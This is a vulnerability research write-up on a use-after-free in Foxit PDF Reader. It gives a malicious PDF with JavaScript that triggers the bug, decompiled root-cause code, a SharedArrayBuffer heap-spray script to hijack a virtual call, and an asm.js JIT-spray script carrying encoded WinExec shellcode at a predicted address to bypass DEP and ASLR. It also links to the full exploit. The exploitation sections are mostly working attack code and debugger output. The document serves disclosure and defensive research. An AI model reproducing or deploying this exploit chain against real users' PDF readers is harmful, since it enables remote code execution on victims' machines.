Krishnakant Patil, Ashfaq Ansari
Overview
In the first part of the PDF Reader series, we shared details about an exploitable bug that we found in Adobe Acrobat Reader. This bug, which was an Out of Bounds Read caused by treating ANSI
strings as Unicode
, allowed us to leak sensitive information from the sandboxed Adobe Reader process.
Adobe Reader - XFA - ANSI - Unicode Confusion Information Leak
In the second part of the series, we will be discussing another vulnerability that we discovered while assessing the security of popular PDF readers. This time, we found a use-after-free vulnerability and several other crashes in Foxit PDF Reader during fuzz testing.
We were able to successfully exploit this vulnerability to gain Remote Code Execution in the context of Foxit PDF Reader.
Zero Day Initiative (ZDI) purchased this exploit, despite it being a bug collision.
Advisory
Testbed
- Host OS:Â Windows 10 Pro 20H2 19042.804
- Product:Â Foxit PDF Reader 11.1.0.52543 (x86)Product
- URL:Â https://www.foxitsoftware.com/downloads/
Crash State
(cbc.1a9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000002 ebx=1c8bef98 ecx=1c8bef98 edx=00000000 esi=24984fa8 edi=104f8fd0
eip=015a4610 esp=0779a720 ebp=0779a740 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x281670:
015a4610 8b412c mov eax,dword ptr [ecx+2Ch] ds:002b:1c8befc4=????????
A quick verification using the !heap
command reveals that this is a use-after-free vulnerability.
0:000> !ext.heap -p -a @ecx
address 26786f98 found in
_DPH_HEAP_ROOT @ b9d1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
267f0138: 26786000 2000
6fbdab02 verifier!AVrfDebugPageHeapFree+0x000000c2
76fbf766 ntdll!RtlDebugFreeHeap+0x0000003e
76f768ae ntdll!RtlpFreeHeap+0x0004e0ce
76f662ed ntdll!RtlpFreeHeapInternal+0x00000783
76f28786 ntdll!RtlFreeHeap+0x00000046
045e8fbb FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x004e7e4b
045c4f4f FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x004c3ddf
044d2b93 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x003d1a23
01c3a919 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00287979
01c2de7b FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0027aedb
01c2d0e6 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0027a146
01c2c786 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002797e6
01f40448 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0058d4a8
...
Proof of Concept
The test case includes static form fields in PDF and javascript action to manipulate them, causing a crash.
Static PDF fields
5 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (field_10)
/FT /Ch
/Rect [844 625 413 191]
/Opt [(FK2V7)]
/I [0 1]
/Ff 67379206
>>
endobj
6 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (field_12)
/FT /Ch
/Rect [553 60 781 220]
/TU (AVALAJX9P0)
/TI 990
/I [0 1]
/Ff 1743797713
>>
endobj
7 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (field_15)
/FT /Tx
/Rect [695 237 690 797]
/TU (XA225DZMOZ)
/TM (86P4A4SWL7)
/MaxLen 1002
/V (5PLOVN0BG2TITMZ89VSATS7VAG94BYVK0TA3PKRRMSJCUFH7SF)
/Ff 45059
>>
endobj
Faulting Javascript
var f0 = this.getField("field_15");
var f1 = this.getField("field_12");
f1.setAction("Format", "callback7()");
this.getField("field_10").setFocus();
function callback0()
{
f1.setItems([1]); // invokes callback7 which frees block of memory
// stale memory access when callback0 ends
}
function callback7()
{
this.deletePages(0); // frees block of memory
}
f0.setAction("Calculate", "callback0()");
this.closeDoc(true); // invokes callback0
Root Cause Analysis
The code crashes when trying to access an object using this
pointer.
int __thiscall sub_1734610(_DWORD *this)
{
int v1; // eax
bool v2; // cl
v1 = this[11]; // CRASH while deferencing this pointer
v2 = 0;
if ( v1 )
v2 = *(_DWORD *)v1 != 0;
if ( v2 && v1 )
return *(_DWORD *)v1;
else
return 0
}
Stack trace analysis reveals that the sub_1729070
function allocates a Widget
related object of size 0x64
when the setFocus
method is called on this.getField("field_10").setFocus()
in the javascript.
This allocation occurs when the sub_1729070
function is called, which returns different-sized objects based on a type check. In this case, the switch case condition 5
is satisfied, resulting in an object of size 0x64
being returned.
int __thiscall sub_1729070(_DWORD *this, int a2, char a3)
{
// ...
// {
if ( a3 )
{
switch ( sub_1A2DB10(a2) )
{
case 1:
LOBYTE(v24) = 3;
v25 = operator new(0x34u);
LOBYTE(v24) = 4;
if ( v25 )
v4 = (void (__thiscall ***)(_DWORD, int))sub_173BDC0(v21[5], a2);
else
v4 = 0;
v22 = v4;
v23 = 0;
LOBYTE(v24) = 2;
v7 = (int)v4;
break;
case 2:
LOBYTE(v24) = 5;
v26 = operator new(0x34u);
LOBYTE(v24) = 6;
if ( v26 )
v4 = (void (__thiscall ***)(_DWORD, int))sub_1736D60(v21[5], a2);
else
v4 = 0;
v22 = v4;
v21 = 0;
v23 = 0;
LOBYTE(v24) = 2;
v7 = (int)v4;
break;
case 3:
LOBYTE(v24) = 7;
v27 = operator new(0x34u);
LOBYTE(v24) = 8;
if ( v27 )
v4 = (void (__thiscall ***)(_DWORD, int))sub_173CF80(v21[5], a2);
else
v4 = 0;
v22 = v4;
v17[5] = 0;
v23 = 0;
LOBYTE(v24) = 2;
v7 = (int)v4;
break;
case 4:
LOBYTE(v24) = 13;
v30 = operator new(0x54u);
LOBYTE(v24) = 14;
if ( v30 )
v4 = (void (__thiscall ***)(_DWORD, int))sub_1738240(v21[5], a2);
else
v4 = 0;
v22 = v4;
v17[2] = 0;
v23 = 0;
LOBYTE(v24) = 2;
v7 = (int)v4;
break;
case 5:
LOBYTE(v24) = 11;
v29 = operator new(0x64u);
LOBYTE(v24) = 12;
if ( v29 )
v4 = (void (__thiscall ***)(_DWORD, int))sub_173A6E0(v21[5], a2);
else
v4 = 0;
v22 = v4;
v17[3] = 0;
v23 = 0;
LOBYTE(v24) = 2;
v7 = (int)v4;
break;
case 6:
LOBYTE(v24) = 9;
v28 = operator new(0x6Cu);
LOBYTE(v24) = 10;
if ( v28 )
v4 = (void (__thiscall ***)(_DWORD, int))sub_172E660(v21[5], a2);
else
v4 = 0;
v22 = v4;
v17[4] = 0;
v23 = 0;
LOBYTE(v24) = 2;
v7 = (int)v4;
break;
default:
v4 = 0;
v7 = 0;
v22 = 0;
break;
}
}
// ...
return v7;
}
This can be verified by using a debugger.
0:000> !ext.heap -p -a @eax
address 256caf98 found in
_DPH_HEAP_ROOT @ c911000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
25343444: 256caf98 64 - 256ca000 2000
unknown!fillpattern
6feda8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
7723ef0e ntdll!RtlDebugAllocateHeap+0x00000039
771a6150 ntdll!RtlpAllocateHeap+0x000000f0
771a57fe ntdll!RtlpAllocateHeapInternal+0x000003ee
771a53fe ntdll!RtlAllocateHeap+0x0000003e
04608ccc FoxitPDFReader!_malloc_base+0x00000038
043015ec FoxitPDFReader!void * __cdecl operator new(unsigned int)+0x0000002a
01c492d1 FoxitPDFReader!sub_1729070+0x00000261
01c4cb21 FoxitPDFReader!sub_172C7B0+0x00000371
01f60781 FoxitPDFReader!sub_1A406B0+0x000000d1
0118ac87 FoxitPDFReader!sub_C6A710+0x00000577
...
The closeDoc
function invokes the calculate
handler on field_15
. Inside the calculate
callback, we set the items
property of the choice list field f1
, which has a registered format
callback. Setting the items
property invokes its format
callback, which deletes the 0th page and potentially deletes the target object.
When the document is closed, the sub_172B3A0
function is called.
char __thiscall sub_172B3A0(_DWORD *this, _DWORD *a2)
{
v2 = this;
v35 = this;
sub_6970E0(&v37);
v39 = 0;
// sub_1729070 returns target object which was already created during setFocus
v4 = sub_1729070(v2, (int)a2, 0);
if ( v4 )
{
// indirect call which also triggers format callback
if ( !(*(unsigned __int8 (__thiscall **)(int, _DWORD *))(*(_DWORD *)v4 + 80))(v4, a2) )
{
sub_112B090(&v35, &v37);
if ( v35 != (_DWORD *)v2[9] )
sub_112AFB0(v31, v35);
LABEL_49:
v15 = 0;
// ...
}
// ...
}
// ...
}
The sub_1729070
function returns the target object, which was previously created during the setFocus
call. This object is then passed to the indirect call (*(unsigned __int8 (__thiscall **)(int, _DWORD ))((_DWORD *)v4 + 80))(v4, a2)
.
This code path then invokes the format
callback registered on field_12
. Within the format
callback, the target object is freed when this.deletePages
function is called.
The sub_173A900
function is responsible for freeing the target object of size 0x64
, which is later accessed by sub_1734610
causing the program to crash.
.text:0173A900 ; void *__thiscall sub_173A900(void *this, char)
.text:0173A900 sub_173A900 proc near ; CODE XREF: sub_173A8EA+3↑j
.text:0173A900 ; DATA XREF: .rdata:off_48159CC↓o
.text:0173A900
.text:0173A900 arg_0 = byte ptr 8
.text:0173A900
.text:0173A900 push ebp
.text:0173A901 mov ebp, esp
.text:0173A903 push esi
.text:0173A904 mov esi, ecx
.text:0173A906 call sub_173A7E0
.text:0173A90B test [ebp+arg_0], 1
.text:0173A90F jz short loc_173A91C
.text:0173A911 push 64h ; 'd' ;; size
.text:0173A913 push esi ;; ESI - target block
.text:0173A914 call sub_3FD2B88 ;; memory free call wrapper
.text:0173A919 add esp, 8
.text:0173A91C
.text:0173A91C loc_173A91C: ; CODE XREF: sub_173A900+F↑j
.text:0173A91C mov eax, esi
.text:0173A91E pop esi
.text:0173A91F pop ebp
.text:0173A920 retn 4
.text:0173A920 sub_173A900 endp
Exploitation
If we can control and reallocate the same size allocation, we may be able to gain direct control over code execution using the call
instruction inside sub_172ADA0
. This is shown below:
eax=41414141 ebx=0e847e88 ecx=0e8c7960 edx=00000000 esi=0e8c7960 edi=00000002
eip=01c2ade1 esp=080fa8dc ebp=080fa910 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x277e41:
01c2ade1 ff5074 call dword ptr [eax+74h] ds:002b:414141b5=????????
The following script can be used to groom the heap to crash the Foxit Reader process at a controlled location. During testing, it was discovered that support for ArrayBuffer
was disabled in Foxit Reader. This is likely done as a preventative measure to prevent exploitation using common javascript exploit primitives such as heap spraying and out-of-bound read/write. However, it was found that SharedArrayBuffer
was not disabled and could be used for the same purpose.
In the sprayed memory blocks, the eax
register points to the start of the memory buffer, and an indirect call at an offset of 0x74
indicates that it is a C++ object inside Foxit where a virtual method is being invoked. This can be used to execute arbitrary code in the context of the Foxit process.
// spray memory allocations
function reclaim(size, count){
for (var i = 0; i < count; i++) {
sprayArr[i] = new SharedArrayBuffer(size);
var rop = new DataView(sprayArr[i]);
// control value for - call dword ptr [eax+74h]
// first dword is pointer to the shellcode
rop.setUint32(0, 0x41414141);
for (var j = 4; j < rop.byteLength/4; j+=4) {
rop.setUint32(j, 0x42424242);
}
}
}
function callback0()
{
// trigger formatCallback on field 1
f1.setItems([1]);
// above call should free block of memory
// we reclaim freed memory by heap spraying of fixed allocations
reclaim(0x58, 0x1000);
reclaim(0x68, 0x1000);
}
By carefully controlling the heap spraying process using the provided script, it is possible to crash Foxit Reader at a specific location when a virtual method is invoked. This allows the attacker to control the state of the object and potentially execute arbitrary code in the context of the Foxit process.
Bypassing Mitigations
Data Execution Prevention (DEP)
One way to bypass DEP and execute user-controlled code in memory is to use return-oriented programming (ROP). This involves chaining together short sequences of code, called gadgets, that are already present in the program's memory. By carefully selecting gadgets and arranging them in a specific order, it is possible to execute arbitrary code without needing to directly call the sprayed shellcode. This can be difficult to achieve, but there are tools and resources available to help with the process.
Our bug is user-after-free of an object on the heap which allows us to call arbitrary addresses in memory using a virtual function call. Although heap spraying with user-controlled data is possible, the heap memory does not have execute permissions. Hence, we cannot call shellcode sprayed using heap-spraying.
To bypass DEP, we need to have an arbitrary read/write primitive and ROP chain to create an executable memory range which we don't have.
Control Flow Guard (CFG)
Control Flow Guard (CFG) is a mitigation technique that is designed to prevent attackers from calling arbitrary call sites. CFG is used to protect indirect calls and is present in most modern software. However, in the case of Foxit, the software was not compiled with CFG support, which means that attackers can call any memory address within the Foxit address space. This lack of CFG support makes Foxit vulnerable to exploitation by attackers.
Address Space Layout Randomization (ASLR)
Foxit PDF Reader has Address Space Layout Randomization (ASLR) enabled, which means that we cannot use any hardcoded addresses in the exploit to call the shellcode. To bypass ASLR, we need some kind of heap-leaking primitive (info-leak), but we do not have one available.
JIT Spraying to rescue! Bypassing DEP, ASLR at once.
JIT spraying is a technique that can be used to bypass both Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR) at the same time. Foxit, a popular PDF viewer, ships with the Google V8 javascript engine as a backend for processing javascript within PDF files. Testing revealed that Foxit is vulnerable to JIT spraying.
JIT, or Just In Time Compilation, is commonly used within javascript engines to improve performance by converting javascript bytecode into native architecture-specific code. To do this, the JIT compiler must create a memory with read-write-execute permissions to store the compiled code. There are various ways to invoke the JIT compiler within a script engine.
rh0dev has done excellent research on JIT spraying, particularly on the use of the asm.js
feature of javascript for JIT spraying. This technique allows the attacker to spray encoded shellcode using asm.js
, enabling them to bypass DEP and ASLR protections.
After several attempts, we were able to create a JIT spray for v8
inside Foxit.
0:000> !address -f:PAGE_EXECUTE_READWRITE
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
BaseAddr EndAddr+1 RgnSize Type State Protect Usage
-----------------------------------------------------------------------------------------------
c0000 c5000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
140000 145000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
1c0000 1c5000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
200000 205000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
280000 285000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
2c0000 2c5000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
300000 305000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
...
18c40000 18c45000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
18c50000 18c55000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
18c60000 18c65000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
18c70000 18c75000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
18c80000 18c85000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
18c90000 18c95000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
18ca0000 18ca5000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
18cb0000 18cb5000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
18cc0000 18cc5000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
18cd0000 18cd5000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
...
3fec0000 3fec5000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
3ff00000 3ff05000 5000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [..G...VG........]
We can confirm the shellcode spraying by looking at the base of any allocation above it.
0:000> u 18ca0000
18ca0000 e97b470000 jmp 18ca4780
18ca0005 e956470000 jmp 18ca4760
18ca000a cc int 3
18ca000b cc int 3
18ca000c cc int 3
The first jump is to the generated code at 18ca4780
, which in our case contains our encoded shellcode.
18ca4780 55 push ebp
18ca4781 89e5 mov ebp, esp
18ca4783 6a0a push 0Ah
18ca4785 56 push esi
18ca4786 8b7e17 mov edi, dword ptr [esi+17h]
18ca4789 3927 cmp dword ptr [edi], esp
18ca478b 0f83e5010000 jae 18ca4976
18ca4791 8b7e1b mov edi, dword ptr [esi+1Bh]
18ca4794 8b7f07 mov edi, dword ptr [edi+7]
18ca4797 8b461f mov eax, dword ptr [esi+1Fh]
18ca479a 8b00 mov eax, dword ptr [eax]
18ca479c 68a247b419 push 19B447A2h
18ca47a1 68909090a8 push 0A8909090h
18ca47a6 6831c990a8 push 0A890C931h
18ca47ab 686a3058a8 push 0A858306Ah
18ca47b0 68648b00a8 push 0A8008B64h
18ca47b5 688b400ca8 push 0A80C408Bh
18ca47ba 688b7014a8 push 0A814708Bh
The JIT spraying script has been stripped for readability. The full source can be found in the exploit on GitHub.
// spray calc.exe WinExec + ExitProcess shellcode
// VirtualAlloc of size 0x5000
function sprayJITShellcode(asmJsModuleName, payloadFuncName, ffiFuncName)
{
var script = `
function ${asmJsModuleName} (stdlib, ffi, heap){
'use asm';
var ffi_func = ffi.func;
function ${payloadFuncName} () {
var val = 0;
val = ffi_func(
0xa8909090|0,
0xa8909090|0,
0xa8909090|0,
0xa890d6ff|0,
0xa890006a|0,
0xa890d7ff|0,
0xa851056a|0,
0xa890e189|0,
//...
0xa83c538b|0,
0xa810588b|0,
0xa8ad96ad|0,
0xa814708b|0,
0xa80c408b|0,
0xa8008b64|0,
0xa858306a|0,
0xa890c931|0,
0xa8909090|0,
0x19b447a2|0, //using predicated 19b40000 base
)|0;
return val|0;
}
return ${payloadFuncName};
}
function ${ffiFuncName} () {
var x = 0;
return x|0;
}
for (var f=0; f<0x10; f++) {
asmJsModulesArr.push(${asmJsModuleName}(this, { func: ${ffiFuncName} }, 0));
};
`;
eval(script)
// required to generate jit code
asmJsModulesArr[asmJsModulesArr.length-1]();
}
// spray jit shellcode allocation
// 00005dbc: index to shellcode from the base of the virtualalloc
for (var jitcount=0; jitcount<3000; jitcount++) {
sprayJITShellcode("foo"+jitcount, "payload"+jitcount, "ffi_func"+jitcount);
}
In this case, we are using the best-educated guess of 0x19b40000
for the shellcode execution, where one of our JIT sprays is located.
0:025> u 19b40000
19b40000 e97b470000 jmp 19b44780
19b40005 e956470000 jmp 19b44760
19b4000a cc int 3
19b4000b cc int 3
19b4000c cc int 3
In the JIT spray script, a hardcoded address derived from the assumed base address of 0x19b447a2|0, // using predicated 19b40000 base
is used as the starting point for the shellcode. This address is referenced by a call
instruction, as can be verified using a debugger. This allows us to execute the shellcode at a known location in memory, bypassing DEP and ASLR protections.
0:025> ? 19b44729+74
Evaluate expression: 431245213 = 19b4479d
0:025> dd 19b4479d
19b4479d 19b447a2 90909068 c93168a8 6a68a890
19b447ad 68a85830 a8008b64 0c408b68 708b68a8
19b447bd ad68a814 68a8ad96 a810588b 3c538b68
The execution of the shellcode must start from 19b447a2
. This can be verified in the debugger.
19b447a2 90 nop
19b447a3 90 nop
19b447a4 90 nop
19b447a5 a868 test al, 68h
19b447a7 31c9 xor ecx, ecx
19b447a9 90 nop
19b447aa a868 test al, 68h
19b447ac 6a30 push 30h
19b447ae 58 pop eax
19b447af a868 test al, 68h
19b447b1 648b00 mov eax, dword ptr fs:[eax]
19b447b4 a868 test al, 68h
19b447b6 8b400c mov eax, dword ptr [eax+0Ch]
19b447b9 a868 test al, 68h
...
By analyzing the decoded shellcode, it is possible to see that it contains a series of valid instructions that carry out the desired actions. This indicates that the JIT spraying technique was successful in allowing us to execute our shellcode in the context of the Foxit process.
Conclusion
In conclusion, this research shows that if Foxit Reader had been compiled with Control Flow Guard (CFG) support, the discovered bug would have been more difficult to exploit. However, the lack of CFG support allowed the attacker to use JIT spraying to bypass existing mitigations such as ASLR and DEP. This highlights the importance of using multiple layers of defense to protect against attacks.
Exploit Repository
https://github.com/hacksysteam/CVE-2022-28672